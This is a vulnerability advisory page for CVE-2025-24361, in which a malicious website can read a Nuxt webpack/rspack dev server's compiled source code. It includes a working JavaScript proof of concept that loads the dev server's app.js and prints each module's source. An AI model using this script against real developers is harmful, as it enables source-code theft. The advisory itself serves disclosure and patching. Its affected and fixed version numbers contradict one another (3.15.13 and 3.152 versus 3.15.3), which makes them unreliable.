CVE-2025-24361: Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Published Jan 25, 2025
·
Updated

Summary Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxtapp, the attacker can get the source code.

PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run npm run dev 1. Open http://localhost:3000 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console.

js const script = document.createElement('script') script.src = 'http://localhost:3000/nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxtapp) { const moduleList = window.webpackChunknuxtapp[page][1] console.log(moduleList)

for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script)

!image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact Users using webpack / rspack builder may get the source code stolen by malicious websites.

Other sources

Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxtapp, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.

NVD

Affected Software

4 affected componentsFixes available
npm/@nuxt/rspack-builder>=3.12.2<3.15.3
3.15.3
npm/@nuxt/webpack-builder>=3.0.0<3.15.3
3.15.3
Nuxt.js>=3.0.0<=3.15.12
Nuxt.js>=3.12.2<3.152

Event History

Jan 25, 2025
CVE Published
via MITRE·12:53 AM
Data Sourced
via MITRE·12:53 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
DescriptionSeverityWeakness
Jan 27, 2025
Advisory Published
via GitHub·11:31 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-24361?

CVE-2025-24361 is considered a critical vulnerability due to the potential for source code theft through malicious websites.

2

How do I fix CVE-2025-24361?

To fix CVE-2025-24361, update your Nuxt application to version 3.15.3 or later for both @nuxt/rspack-builder and @nuxt/webpack-builder.

3

Which versions of Nuxt are affected by CVE-2025-24361?

Nuxt versions ranging from 3.0.0 to 3.15.12 and 3.12.2 to below 3.152 are affected by CVE-2025-24361.

4

What is the attack vector for CVE-2025-24361?

The attack vector for CVE-2025-24361 involves an attacker injecting malicious scripts through the use of classic script tags that bypass the same origin policy.

5

Is CVE-2025-24361 a client-side or server-side vulnerability?

CVE-2025-24361 is primarily a client-side vulnerability that can lead to unauthorized access to sensitive source code.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203